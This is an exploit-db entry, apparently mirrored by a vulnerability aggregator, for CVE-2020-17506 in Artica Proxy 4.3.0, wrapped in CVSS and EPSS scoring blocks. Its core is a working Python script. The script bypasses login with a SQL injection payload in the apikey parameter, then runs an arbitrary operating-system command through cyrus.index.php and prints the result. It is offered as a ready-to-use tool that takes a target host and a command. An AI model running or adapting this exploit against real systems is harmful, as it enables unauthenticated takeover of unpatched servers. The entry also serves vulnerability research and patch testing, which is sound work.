Lucene search

K
exploitdbDan DuffyEDB-ID:48744
HistoryAug 13, 2020 - 12:00 a.m.

Artica Proxy 4.3.0 - Authentication Bypass

2020-08-1300:00:00
Dan Duffy
www.exploit-db.com
140

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

9.8 High

AI Score

Confidence

High

7.5 High

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:P/A:P

0.959 High

EPSS

Percentile

99.4%

# Exploit Title: Artica Proxy 4.3.0 - Authentication Bypass
# Google Dork: N/A
# Date: 2020-08-13
# Exploit Author: Dan Duffy
# Vendor Homepage: http://articatech.net/
# Software Link: http://articatech.net/download2x.php?IsoOnly=yes
# Version: 4.30.00000000 (REQUIRED)
# Tested on: Debian
# CVE : CVE-2020-17506

import requests
import argparse
from bs4 import BeautifulSoup


def bypass_auth(session, args):
    login_endpoint = "/fw.login.php?apikey="
    payload = "%27UNION%20select%201,%27YToyOntzOjM6InVpZCI7czo0OiItMTAwIjtzOjIyOiJBQ1RJVkVfRElSRUNUT1JZX0lOREVYIjtzOjE6IjEiO30=%27;"

    print("[+] Bypassing authentication...")
    session.get(args.host + login_endpoint + payload, verify=False)

    return session


def run_command(session, args):
    cmd_endpoint = "/cyrus.index.php?service-cmds-peform=||{}||".format(args.command)
    print("[+] Running command: {}".format(args.command))
    response = session.post(args.host + cmd_endpoint, verify=False)
    soup = BeautifulSoup(response.text, "html.parser")
    print(soup.find_all("code")[1].get_text())


def main():
    parser = argparse.ArgumentParser(description="CVE-2020-17506 Artica PoC.")
    parser.add_argument(
        "--host", help="The host to target. Format example: https://host:port",
    )
    parser.add_argument("--command", help="The command to run")

    args = parser.parse_args()
    if not args.host or not args.command:
        parser.print_help()
        exit(0)
    session = requests.Session()
    session = bypass_auth(session, args)

    run_command(session, args)


if __name__ == "__main__":
    main()

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

9.8 High

AI Score

Confidence

High

7.5 High

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:P/A:P

0.959 High

EPSS

Percentile

99.4%